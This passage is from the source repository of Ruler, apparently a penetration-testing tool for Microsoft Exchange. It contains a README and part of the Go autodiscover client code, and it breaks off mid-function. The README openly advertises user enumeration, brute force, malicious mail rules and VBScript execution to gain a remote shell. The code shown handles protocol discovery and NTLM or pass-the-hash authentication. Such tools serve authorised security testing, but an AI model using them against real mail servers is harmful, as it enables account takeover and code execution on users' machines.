├── .gitignore
├── LICENSE
├── README.md
├── autodiscover
├── autodiscover.go
└── brute.go
├── forms
└── rulerforms.go
├── http-ntlm
├── LICENSE
└── ntlmtransport.go
├── mapi
├── constants.go
├── datastructs-abk.go
├── datastructs.go
├── mapi-abk.go
├── mapi.go
├── restrictionDatastructs.go
├── ropbuffers.go
└── ropids.go
├── rpc-http
├── constants.go
├── packets.go
└── rpctransport.go
├── ruler.go
├── templates
├── formdeletetemplate.bin
├── formtemplate.bin
├── img0.bin
└── img1.bin
├── utils
├── datatypes.go
├── logging.go
└── utils.go
└── webdav
├── webdav
└── webdavserv.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiled Object files, Static and Dynamic libs (Shared Objects)
2 | *.o
3 | *.a
4 | *.so
5 |
6 | # Folders
7 | _obj
8 | _test
9 |
10 | # Architecture specific extensions/prefixes
11 | *.[568vq]
12 | [568vq].out
13 |
14 | *.cgo1.go
15 | *.cgo2.c
16 | _cgo_defun.c
17 | _cgo_gotypes.go
18 | _cgo_export.*
19 |
20 | _testmain.go
21 |
22 | *.exe
23 | *.test
24 | *.prof
25 |
26 | ruler-*
27 | ruler
28 | logs/
29 |
30 | build.sh
31 | config.yml
32 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
2 | Public License
3 |
4 | By exercising the Licensed Rights (defined below), You accept and agree
5 | to be bound by the terms and conditions of this Creative Commons
6 | Attribution-NonCommercial-ShareAlike 4.0 International Public License
7 | ("Public License"). To the extent this Public License may be
8 | interpreted as a contract, You are granted the Licensed Rights in
9 | consideration of Your acceptance of these terms and conditions, and the
10 | Licensor grants You such rights in consideration of benefits the
11 | Licensor receives from making the Licensed Material available under
12 | these terms and conditions.
13 |
14 |
15 | Section 1 -- Definitions.
16 |
17 | a. Adapted Material means material subject to Copyright and Similar
18 | Rights that is derived from or based upon the Licensed Material
19 | and in which the Licensed Material is translated, altered,
20 | arranged, transformed, or otherwise modified in a manner requiring
21 | permission under the Copyright and Similar Rights held by the
22 | Licensor. For purposes of this Public License, where the Licensed
23 | Material is a musical work, performance, or sound recording,
24 | Adapted Material is always produced where the Licensed Material is
25 | synched in timed relation with a moving image.
26 |
27 | b. Adapter's License means the license You apply to Your Copyright
28 | and Similar Rights in Your contributions to Adapted Material in
29 | accordance with the terms and conditions of this Public License.
30 |
31 | c. BY-NC-SA Compatible License means a license listed at
32 | creativecommons.org/compatiblelicenses, approved by Creative
33 | Commons as essentially the equivalent of this Public License.
34 |
35 | d. Copyright and Similar Rights means copyright and/or similar rights
36 | closely related to copyright including, without limitation,
37 | performance, broadcast, sound recording, and Sui Generis Database
38 | Rights, without regard to how the rights are labeled or
39 | categorized. For purposes of this Public License, the rights
40 | specified in Section 2(b)(1)-(2) are not Copyright and Similar
41 | Rights.
42 |
43 | e. Effective Technological Measures means those measures that, in the
44 | absence of proper authority, may not be circumvented under laws
45 | fulfilling obligations under Article 11 of the WIPO Copyright
46 | Treaty adopted on December 20, 1996, and/or similar international
47 | agreements.
48 |
49 | f. Exceptions and Limitations means fair use, fair dealing, and/or
50 | any other exception or limitation to Copyright and Similar Rights
51 | that applies to Your use of the Licensed Material.
52 |
53 | g. License Elements means the license attributes listed in the name
54 | of a Creative Commons Public License. The License Elements of this
55 | Public License are Attribution, NonCommercial, and ShareAlike.
56 |
57 | h. Licensed Material means the artistic or literary work, database,
58 | or other material to which the Licensor applied this Public
59 | License.
60 |
61 | i. Licensed Rights means the rights granted to You subject to the
62 | terms and conditions of this Public License, which are limited to
63 | all Copyright and Similar Rights that apply to Your use of the
64 | Licensed Material and that the Licensor has authority to license.
65 |
66 | j. Licensor means the individual(s) or entity(ies) granting rights
67 | under this Public License.
68 |
69 | k. NonCommercial means not primarily intended for or directed towards
70 | commercial advantage or monetary compensation. For purposes of
71 | this Public License, the exchange of the Licensed Material for
72 | other material subject to Copyright and Similar Rights by digital
73 | file-sharing or similar means is NonCommercial provided there is
74 | no payment of monetary compensation in connection with the
75 | exchange.
76 |
77 | l. Share means to provide material to the public by any means or
78 | process that requires permission under the Licensed Rights, such
79 | as reproduction, public display, public performance, distribution,
80 | dissemination, communication, or importation, and to make material
81 | available to the public including in ways that members of the
82 | public may access the material from a place and at a time
83 | individually chosen by them.
84 |
85 | m. Sui Generis Database Rights means rights other than copyright
86 | resulting from Directive 96/9/EC of the European Parliament and of
87 | the Council of 11 March 1996 on the legal protection of databases,
88 | as amended and/or succeeded, as well as other essentially
89 | equivalent rights anywhere in the world.
90 |
91 | n. You means the individual or entity exercising the Licensed Rights
92 | under this Public License. Your has a corresponding meaning.
93 |
94 |
95 | Section 2 -- Scope.
96 |
97 | a. License grant.
98 |
99 | 1. Subject to the terms and conditions of this Public License,
100 | the Licensor hereby grants You a worldwide, royalty-free,
101 | non-sublicensable, non-exclusive, irrevocable license to
102 | exercise the Licensed Rights in the Licensed Material to:
103 |
104 | a. reproduce and Share the Licensed Material, in whole or
105 | in part, for NonCommercial purposes only; and
106 |
107 | b. produce, reproduce, and Share Adapted Material for
108 | NonCommercial purposes only.
109 |
110 | 2. Exceptions and Limitations. For the avoidance of doubt, where
111 | Exceptions and Limitations apply to Your use, this Public
112 | License does not apply, and You do not need to comply with
113 | its terms and conditions.
114 |
115 | 3. Term. The term of this Public License is specified in Section
116 | 6(a).
117 |
118 | 4. Media and formats; technical modifications allowed. The
119 | Licensor authorizes You to exercise the Licensed Rights in
120 | all media and formats whether now known or hereafter created,
121 | and to make technical modifications necessary to do so. The
122 | Licensor waives and/or agrees not to assert any right or
123 | authority to forbid You from making technical modifications
124 | necessary to exercise the Licensed Rights, including
125 | technical modifications necessary to circumvent Effective
126 | Technological Measures. For purposes of this Public License,
127 | simply making modifications authorized by this Section 2(a)
128 | (4) never produces Adapted Material.
129 |
130 | 5. Downstream recipients.
131 |
132 | a. Offer from the Licensor -- Licensed Material. Every
133 | recipient of the Licensed Material automatically
134 | receives an offer from the Licensor to exercise the
135 | Licensed Rights under the terms and conditions of this
136 | Public License.
137 |
138 | b. Additional offer from the Licensor -- Adapted Material.
139 | Every recipient of Adapted Material from You
140 | automatically receives an offer from the Licensor to
141 | exercise the Licensed Rights in the Adapted Material
142 | under the conditions of the Adapter's License You apply.
143 |
144 | c. No downstream restrictions. You may not offer or impose
145 | any additional or different terms or conditions on, or
146 | apply any Effective Technological Measures to, the
147 | Licensed Material if doing so restricts exercise of the
148 | Licensed Rights by any recipient of the Licensed
149 | Material.
150 |
151 | 6. No endorsement. Nothing in this Public License constitutes or
152 | may be construed as permission to assert or imply that You
153 | are, or that Your use of the Licensed Material is, connected
154 | with, or sponsored, endorsed, or granted official status by,
155 | the Licensor or others designated to receive attribution as
156 | provided in Section 3(a)(1)(A)(i).
157 |
158 | b. Other rights.
159 |
160 | 1. Moral rights, such as the right of integrity, are not
161 | licensed under this Public License, nor are publicity,
162 | privacy, and/or other similar personality rights; however, to
163 | the extent possible, the Licensor waives and/or agrees not to
164 | assert any such rights held by the Licensor to the limited
165 | extent necessary to allow You to exercise the Licensed
166 | Rights, but not otherwise.
167 |
168 | 2. Patent and trademark rights are not licensed under this
169 | Public License.
170 |
171 | 3. To the extent possible, the Licensor waives any right to
172 | collect royalties from You for the exercise of the Licensed
173 | Rights, whether directly or through a collecting society
174 | under any voluntary or waivable statutory or compulsory
175 | licensing scheme. In all other cases the Licensor expressly
176 | reserves any right to collect such royalties, including when
177 | the Licensed Material is used other than for NonCommercial
178 | purposes.
179 |
180 |
181 | Section 3 -- License Conditions.
182 |
183 | Your exercise of the Licensed Rights is expressly made subject to the
184 | following conditions.
185 |
186 | a. Attribution.
187 |
188 | 1. If You Share the Licensed Material (including in modified
189 | form), You must:
190 |
191 | a. retain the following if it is supplied by the Licensor
192 | with the Licensed Material:
193 |
194 | i. identification of the creator(s) of the Licensed
195 | Material and any others designated to receive
196 | attribution, in any reasonable manner requested by
197 | the Licensor (including by pseudonym if
198 | designated);
199 |
200 | ii. a copyright notice;
201 |
202 | iii. a notice that refers to this Public License;
203 |
204 | iv. a notice that refers to the disclaimer of
205 | warranties;
206 |
207 | v. a URI or hyperlink to the Licensed Material to the
208 | extent reasonably practicable;
209 |
210 | b. indicate if You modified the Licensed Material and
211 | retain an indication of any previous modifications; and
212 |
213 | c. indicate the Licensed Material is licensed under this
214 | Public License, and include the text of, or the URI or
215 | hyperlink to, this Public License.
216 |
217 | 2. You may satisfy the conditions in Section 3(a)(1) in any
218 | reasonable manner based on the medium, means, and context in
219 | which You Share the Licensed Material. For example, it may be
220 | reasonable to satisfy the conditions by providing a URI or
221 | hyperlink to a resource that includes the required
222 | information.
223 | 3. If requested by the Licensor, You must remove any of the
224 | information required by Section 3(a)(1)(A) to the extent
225 | reasonably practicable.
226 |
227 | b. ShareAlike.
228 |
229 | In addition to the conditions in Section 3(a), if You Share
230 | Adapted Material You produce, the following conditions also apply.
231 |
232 | 1. The Adapter's License You apply must be a Creative Commons
233 | license with the same License Elements, this version or
234 | later, or a BY-NC-SA Compatible License.
235 |
236 | 2. You must include the text of, or the URI or hyperlink to, the
237 | Adapter's License You apply. You may satisfy this condition
238 | in any reasonable manner based on the medium, means, and
239 | context in which You Share Adapted Material.
240 |
241 | 3. You may not offer or impose any additional or different terms
242 | or conditions on, or apply any Effective Technological
243 | Measures to, Adapted Material that restrict exercise of the
244 | rights granted under the Adapter's License You apply.
245 |
246 |
247 | Section 4 -- Sui Generis Database Rights.
248 |
249 | Where the Licensed Rights include Sui Generis Database Rights that
250 | apply to Your use of the Licensed Material:
251 |
252 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right
253 | to extract, reuse, reproduce, and Share all or a substantial
254 | portion of the contents of the database for NonCommercial purposes
255 | only;
256 |
257 | b. if You include all or a substantial portion of the database
258 | contents in a database in which You have Sui Generis Database
259 | Rights, then the database in which You have Sui Generis Database
260 | Rights (but not its individual contents) is Adapted Material,
261 | including for purposes of Section 3(b); and
262 |
263 | c. You must comply with the conditions in Section 3(a) if You Share
264 | all or a substantial portion of the contents of the database.
265 |
266 | For the avoidance of doubt, this Section 4 supplements and does not
267 | replace Your obligations under this Public License where the Licensed
268 | Rights include other Copyright and Similar Rights.
269 |
270 |
271 | Section 5 -- Disclaimer of Warranties and Limitation of Liability.
272 |
273 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
274 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
275 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
276 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
277 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
278 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
279 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
280 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
281 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
282 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
283 |
284 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
285 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
286 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
287 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
288 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
289 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
290 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
291 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
292 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
293 |
294 | c. The disclaimer of warranties and limitation of liability provided
295 | above shall be interpreted in a manner that, to the extent
296 | possible, most closely approximates an absolute disclaimer and
297 | waiver of all liability.
298 |
299 |
300 | Section 6 -- Term and Termination.
301 |
302 | a. This Public License applies for the term of the Copyright and
303 | Similar Rights licensed here. However, if You fail to comply with
304 | this Public License, then Your rights under this Public License
305 | terminate automatically.
306 |
307 | b. Where Your right to use the Licensed Material has terminated under
308 | Section 6(a), it reinstates:
309 |
310 | 1. automatically as of the date the violation is cured, provided
311 | it is cured within 30 days of Your discovery of the
312 | violation; or
313 |
314 | 2. upon express reinstatement by the Licensor.
315 |
316 | For the avoidance of doubt, this Section 6(b) does not affect any
317 | right the Licensor may have to seek remedies for Your violations
318 | of this Public License.
319 |
320 | c. For the avoidance of doubt, the Licensor may also offer the
321 | Licensed Material under separate terms or conditions or stop
322 | distributing the Licensed Material at any time; however, doing so
323 | will not terminate this Public License.
324 |
325 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
326 | License.
327 |
328 |
329 | Section 7 -- Other Terms and Conditions.
330 |
331 | a. The Licensor shall not be bound by any additional or different
332 | terms or conditions communicated by You unless expressly agreed.
333 |
334 | b. Any arrangements, understandings, or agreements regarding the
335 | Licensed Material not stated herein are separate from and
336 | independent of the terms and conditions of this Public License.
337 |
338 |
339 | Section 8 -- Interpretation.
340 |
341 | a. For the avoidance of doubt, this Public License does not, and
342 | shall not be interpreted to, reduce, limit, restrict, or impose
343 | conditions on any use of the Licensed Material that could lawfully
344 | be made without permission under this Public License.
345 |
346 | b. To the extent possible, if any provision of this Public License is
347 | deemed unenforceable, it shall be automatically reformed to the
348 | minimum extent necessary to make it enforceable. If the provision
349 | cannot be reformed, it shall be severed from this Public License
350 | without affecting the enforceability of the remaining terms and
351 | conditions.
352 |
353 | c. No term or condition of this Public License will be waived and no
354 | failure to comply consented to unless expressly agreed to by the
355 | Licensor.
356 |
357 | d. Nothing in this Public License constitutes or may be interpreted
358 | as a limitation upon, or waiver of, any privileges and immunities
359 | that apply to the Licensor or You, including from the legal
360 | processes of any jurisdiction or authority.
361 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 |
3 | Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook features and gain a shell remotely.
4 |
5 | The full low-down on how Ruler was implemented and some background regarding MAPI can be found in our blog posts:
6 | * [Ruler release]
7 | * [Pass the Hash with Ruler]
8 | * [Outlook forms and shells]
9 | * [Outlook Home Page – Another Ruler Vector]
10 |
11 | For a demo of it in action: [Ruler on YouTube]
12 |
13 | ## What does it do?
14 |
15 | Ruler has multiple functions and more are planned. These include
16 |
17 | * Enumerate valid users
18 | * Create new malicious mail rules
19 | * Dump the Global Address List (GAL)
20 | * VBScript execution through forms
21 | * VBScript execution through the Outlook Home Page
22 |
23 | Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information.
24 |
25 | # Getting Started
26 |
27 | Compiled binaries for Linux, OSX and Windows are available. Find these in [Releases]
28 | information about setting up Ruler from source is found in the [getting-started guide].
29 |
30 | # Usage
31 |
32 | Ruler has multiple functions, these have their own documentation that can be found in the [wiki]:
33 |
34 | * [BruteForce] -- discover valid user accounts
35 | * [Rules] -- perform the traditional, rule based attack
36 | * [Forms] -- execute VBScript through forms
37 | * [Homepage] -- use the Outlook 'home page' for shell and persistence
38 | * [GAL] -- grab the Global Address List
39 |
40 | # Attacking Exchange
41 |
42 | The library included with Ruler allows for the creation of custom message using MAPI. This along with the Exchange documentation is a great starting point for new research. For an example of using this library in another project, see [SensePost Liniaal].
43 |
44 | # License
45 | [](http://creativecommons.org/licenses/by-nc-sa/4.0/)
46 |
47 | Ruler is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0/) Permissions beyond the scope of this license may be available at http://sensepost.com/contact/.
48 |
49 |
50 | [Ruler Release]:
51 | [Pass the hash with Ruler]:
52 | [Outlook forms and shells]:
53 | [Outlook Home Page – Another Ruler Vector]:
54 | [Ruler on YouTube]:
55 | [Releases]:
56 | [SensePost Liniaal]:
57 | [wiki]:
58 | [BruteForce]:
59 | [Rules]:
60 | [Forms]:
61 | [Homepage]:
62 | [GAL]:
63 | [getting-started guide]:
64 |
--------------------------------------------------------------------------------
/autodiscover/autodiscover.go:
--------------------------------------------------------------------------------
1 | package autodiscover
2 |
3 | import (
4 | "bytes"
5 | "crypto/tls"
6 | "fmt"
7 | "io/ioutil"
8 | "net"
9 | "net/http"
10 | "net/url"
11 | "os"
12 | "regexp"
13 | "strings"
14 | "text/template"
15 |
16 | "github.com/sensepost/ruler/http-ntlm"
17 | "github.com/sensepost/ruler/utils"
18 | )
19 |
20 | //globals
21 |
22 | //SessionConfig holds the configuration for this autodiscover session
23 | var SessionConfig *utils.Session
24 | var autodiscoverStep int
25 | var secondaryEmail string //a secondary email to use, edge case seen in office365
26 | var Transport http.Transport
27 | var useBasic = false
28 |
29 | //the xml for the autodiscover service
30 | const autodiscoverXML = `
31 | {{.Email}}
32 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
33 | `
34 |
35 | func parseTemplate(tmpl string) (string, error) {
36 | t := template.Must(template.New("tmpl").Parse(tmpl))
37 |
38 | var buff bytes.Buffer
39 | err := t.Execute(&buff, SessionConfig)
40 | if err != nil {
41 | return "", err
42 | }
43 | return buff.String(), nil
44 | }
45 |
46 | //createAutodiscover generates a domain name of the format autodiscover.domain.com
47 | //and checks if a DNS entry exists for it. If it doesn't it tries DNS for just the domain name.
48 | //returns an empty string if no valid domain was found.
49 | //returns the full (expected) autodiscover URL
50 | func createAutodiscover(domain string, https bool) string {
51 | _, err := net.LookupHost(domain)
52 | if err != nil {
53 | return ""
54 | }
55 | if https == true {
56 | return fmt.Sprintf("https://%s/autodiscover/autodiscover.xml", domain)
57 | }
58 | return fmt.Sprintf("http://%s/autodiscover/autodiscover.xml", domain)
59 | }
60 |
61 | //GetMapiHTTP gets the details for MAPI/HTTP
62 | func GetMapiHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, error) {
63 | //var resp *utils.AutodiscoverResp
64 | var err error
65 | var rawAutodiscover string
66 |
67 | if autoURLPtr == "" && resp == nil {
68 | utils.Info.Println("Retrieving MAPI/HTTP info")
69 | //rather use the email address's domain here and --domain is the authentication domain
70 | lastBin := strings.LastIndex(email, "@")
71 | if lastBin == -1 {
72 | return nil, "", fmt.Errorf("The supplied email address seems to be incorrect.\n%s", err)
73 | }
74 | maildomain := email[lastBin+1:]
75 | resp, rawAutodiscover, err = MAPIDiscover(maildomain)
76 | } else if resp == nil {
77 | resp, rawAutodiscover, err = MAPIDiscover(autoURLPtr)
78 | }
79 |
80 | if resp == nil || err != nil {
81 | return nil, "", fmt.Errorf("The autodiscover service request did not complete.\n%s", err)
82 | }
83 | //check if the autodiscover service responded with an error
84 | if resp.Response.Error != (utils.AutoError{}) {
85 | return nil, "", fmt.Errorf("The autodiscover service responded with an error.\n%s", resp.Response.Error.Message)
86 | }
87 | return resp, rawAutodiscover, nil
88 | }
89 |
90 | //GetRPCHTTP exports the RPC details for RPC/HTTP
91 | func GetRPCHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, string, string, bool, error) {
92 | //var resp *utils.AutodiscoverResp
93 | var err error
94 | var rawAutodiscover string
95 |
96 | if autoURLPtr == "" && resp == nil {
97 | utils.Info.Println("Retrieving RPC/HTTP info")
98 | //rather use the email address's domain here and --domain is the authentication domain
99 | lastBin := strings.LastIndex(email, "@")
100 | if lastBin == -1 {
101 | return nil, "", "", "", false, fmt.Errorf("The supplied email address seems to be incorrect.\n%s", err)
102 | }
103 | maildomain := email[lastBin+1:]
104 | resp, rawAutodiscover, err = Autodiscover(maildomain)
105 | } else if resp == nil {
106 | resp, rawAutodiscover, err = Autodiscover(autoURLPtr)
107 | }
108 |
109 | if resp == nil || err != nil {
110 | return nil, "", "", "", false, fmt.Errorf("The autodiscover service request did not complete.\n%s", err)
111 | }
112 | //check if the autodiscover service responded with an error
113 | if resp.Response.Error != (utils.AutoError{}) {
114 | return nil, "", "", "", false, fmt.Errorf("The autodiscover service responded with an error.\n%s", resp.Response.Error.Message)
115 | }
116 |
117 | url := ""
118 | user := ""
119 | ntlmAuth := false
120 |
121 | for _, v := range resp.Response.Account.Protocol {
122 | if v.Type == "EXPR" {
123 | if v.SSL == "Off" {
124 | url = "http://" + v.Server
125 | } else {
126 | url = "https://" + v.Server
127 | }
128 | if v.AuthPackage == "Ntlm" { //set the encryption on if the server specifies NTLM auth
129 | ntlmAuth = true
130 | }
131 | }
132 | if v.Type == "EXCH" {
133 | user = v.Server
134 | }
135 | }
136 |
137 | //possibly office365 with forced RPC/HTTP
138 | if user == "" {
139 | if resp.Response.Account.MicrosoftOnline == true {
140 | lindex := strings.LastIndex(resp.Response.Account.Protocol[0].MailStore.ExternalUrl, "=")
141 | user = resp.Response.Account.Protocol[0].MailStore.ExternalUrl[lindex+1:]
142 | url = "https://outlook.office365.com"
143 | }
144 | }
145 | RPCURL := fmt.Sprintf("%s/rpc/rpcproxy.dll?%s:6001", url, user)
146 |
147 | utils.Trace.Printf("RPC URL set: %s\n", RPCURL)
148 |
149 | return resp, rawAutodiscover, RPCURL, user, ntlmAuth, nil
150 | }
151 |
152 | //CheckCache checks to see if there is a stored copy of the autodiscover record
153 | func CheckCache(email string) *utils.AutodiscoverResp {
154 | //check the cache folder for a stored autodiscover record
155 | email = strings.Replace(email, "@", "_", -1)
156 | email = strings.Replace(email, ".", "_", -1)
157 | path := fmt.Sprintf("./logs/%s.cache", email)
158 |
159 | if _, err := os.Stat(path); err != nil {
160 | if os.IsNotExist(err) {
161 | return nil
162 | }
163 | utils.Error.Println(err)
164 | return nil
165 | }
166 | utils.Info.Println("Found cached Autodiscover record. Using this (use --nocache to force new lookup)")
167 | data, err := ioutil.ReadFile(path)
168 | if err != nil {
169 | utils.Error.Println("Error reading stored record ", err)
170 | return nil
171 | }
172 | autodiscoverResp := utils.AutodiscoverResp{}
173 | autodiscoverResp.Unmarshal(data)
174 | return &autodiscoverResp
175 | }
176 |
177 | //CreateCache function stores the raw autodiscover record to file
178 | func CreateCache(email, autodiscover string) {
179 |
180 | if autodiscover == "" { //no autodiscover record passed in, don't try write
181 | return
182 | }
183 | email = strings.Replace(email, "@", "_", -1)
184 | email = strings.Replace(email, ".", "_", -1)
185 | path := fmt.Sprintf("./logs/%s.cache", email)
186 | if _, err := os.Stat("./logs"); err != nil {
187 | if os.IsNotExist(err) {
188 | //create the logs directory
189 | if err := os.MkdirAll("./logs", 0711); err != nil {
190 | utils.Error.Println("Couldn't create a cache directory")
191 | }
192 | //return nil
193 | }
194 | }
195 | fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666)
196 | _, err := fout.WriteString(autodiscover)
197 | if err != nil {
198 | utils.Error.Println("Couldn't write to file for some reason..", err)
199 | }
200 | }
201 |
202 | //Autodiscover function to retrieve mailbox details using the autodiscover mechanism from MS Exchange
203 | func Autodiscover(domain string) (*utils.AutodiscoverResp, string, error) {
204 | if SessionConfig.Proxy == "" {
205 | Transport = http.Transport{
206 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure},
207 | }
208 | } else {
209 | proxyURL, err := url.Parse(SessionConfig.Proxy)
210 | if err != nil {
211 | return nil, "", fmt.Errorf("Invalid proxy url format %s", err)
212 | }
213 | Transport = http.Transport{Proxy: http.ProxyURL(proxyURL),
214 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure},
215 | }
216 | }
217 | return autodiscover(domain, false)
218 | }
219 |
220 | //MAPIDiscover function to do the autodiscover request but specify the MAPI header
221 | //indicating that the MAPI end-points should be returned
222 | func MAPIDiscover(domain string) (*utils.AutodiscoverResp, string, error) {
223 | //set transport
224 | if SessionConfig.Proxy == "" {
225 | Transport = http.Transport{
226 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure},
227 | }
228 | } else {
229 | proxyURL, err := url.Parse(SessionConfig.Proxy)
230 | if err != nil {
231 | return nil, "", fmt.Errorf("Invalid proxy url format %s", err)
232 | }
233 | Transport = http.Transport{Proxy: http.ProxyURL(proxyURL),
234 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure},
235 | }
236 | }
237 | return autodiscover(domain, true)
238 | }
239 |
240 | func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, error) {
241 | //replace Email with the email from the config
242 | r, _ := parseTemplate(autodiscoverXML)
243 | autodiscoverResp := utils.AutodiscoverResp{}
244 | //for now let's rely on autodiscover.domain/autodiscover/autodiscover.xml
245 | //var client http.Client
246 | client := http.Client{Transport: &Transport}
247 |
248 | if SessionConfig.Basic == false {
249 | //check if this is a first request or a redirect
250 | //create an ntml http client
251 |
252 | client = http.Client{
253 | Transport: &httpntlm.NtlmTransport{
254 | Domain: SessionConfig.Domain,
255 | User: SessionConfig.User,
256 | Password: SessionConfig.Pass,
257 | NTHash: SessionConfig.NTHash,
258 | Insecure: SessionConfig.Insecure,
259 | CookieJar: SessionConfig.CookieJar,
260 | Proxy: SessionConfig.Proxy,
261 | },
262 | Jar: SessionConfig.CookieJar,
263 | }
264 |
265 | }
266 |
267 | var autodiscoverURL string
268 | //check if this is just a domain, a redirect or a url (starts with http[s]://)
269 |
270 | if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true {
271 | autodiscoverURL = domain
272 | } else {
273 |
274 | //create the autodiscover url
275 | if autodiscoverStep == 0 {
276 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
277 | if autodiscoverURL == "" {
278 | autodiscoverStep++
279 | }
280 | }
281 | if autodiscoverStep == 1 {
282 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
283 | if autodiscoverURL == "" {
284 | autodiscoverStep++
285 | }
286 | }
287 | if autodiscoverStep == 2 {
288 | autodiscoverURL = createAutodiscover(domain, true)
289 | if autodiscoverURL == "" {
290 | return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found")
291 | }
292 | }
293 | }
294 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
295 |
296 | req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r))
297 | req.Header.Add("Content-Type", "text/xml")
298 | req.Header.Add("User-Agent", "ruler")
299 |
300 | if mapi == true {
301 | req.Header.Add("X-MapiHttpCapability", "1") //we want MAPI info
302 | req.Header.Add("X-AnchorMailbox", SessionConfig.Email) //we want MAPI info
303 | }
304 |
305 | //if we have been redirected to outlook, change the auth header to basic auth
306 | if SessionConfig.Basic == false {
307 | req.SetBasicAuth(SessionConfig.Email, SessionConfig.Pass)
308 | SessionConfig.BasicAuth = req.Header.Get("WWW-Authenticate")
309 | } else {
310 | req.SetBasicAuth(SessionConfig.User, SessionConfig.Pass)
311 | }
312 | //request the autodiscover url
313 | resp, err := client.Do(req)
314 |
315 | if err != nil {
316 | //check if this error was because of ntml auth when basic auth was expected.
317 | if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true {
318 | client = http.Client{Transport: InsecureRedirectsO365{User: SessionConfig.Email, Pass: SessionConfig.Pass, Insecure: SessionConfig.Insecure}}
319 | resp, err = client.Do(req)
320 | if err != nil {
321 | return nil, "", err
322 | }
323 | useBasic = true
324 | } else {
325 | if autodiscoverStep < 2 {
326 | autodiscoverStep++
327 | return autodiscover(domain, mapi)
328 | }
329 | //we've done all three steps of autodiscover and all three failed
330 | return nil, "", err
331 | }
332 | }
333 |
334 | defer resp.Body.Close()
335 |
336 | if resp.StatusCode == 401 || resp.StatusCode == 403 {
337 | return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials")
338 | }
339 |
340 | body, err := ioutil.ReadAll(resp.Body)
341 | if err != nil {
342 | return nil, "", err
343 | }
344 |
345 | //check if we got a 200 response
346 | if resp.StatusCode == 200 {
347 | if useBasic == true { // don't overwrite --basic as pointed out here: https://github.com/sensepost/ruler/issues/67
348 | SessionConfig.Basic = useBasic
349 | }
350 | err := autodiscoverResp.Unmarshal(body)
351 | if err != nil {
352 | if SessionConfig.Verbose == true {
353 | utils.Error.Printf("%s\n", err)
354 | }
355 | if autodiscoverStep < 2 {
356 | autodiscoverStep++
357 | return autodiscover(domain, mapi)
358 | }
359 | return nil, "", fmt.Errorf("Error in autodiscover response, %s", err)
360 | }
361 | SessionConfig.NTLMAuth = req.Header.Get("Authorization")
362 |
363 | //check if we got a RedirectAddr ,
364 | //if yes, get the new autodiscover url
365 | if autodiscoverResp.Response.Account.Action == "redirectAddr" {
366 | rediraddr := autodiscoverResp.Response.Account.RedirectAddr
367 | redirAddrs := strings.Split(rediraddr, "@") //regexp.MustCompile(".*@").Split(rediraddr, 2)
368 |
369 | secondaryEmail = fmt.Sprintf("%s@%s", redirAddrs[0], domain)
370 | red, err := redirectAutodiscover(redirAddrs[1])
371 | if err != nil {
372 | return nil, "", err
373 | }
374 | return autodiscover(red, mapi)
375 | }
376 | return &autodiscoverResp, string(body), nil
377 | }
378 |
379 | if resp.StatusCode == 401 || resp.StatusCode == 403 || resp.StatusCode == 404 {
380 | //for office365 we might need to use a different email address, try this
381 | if resp.StatusCode == 401 && secondaryEmail != "" {
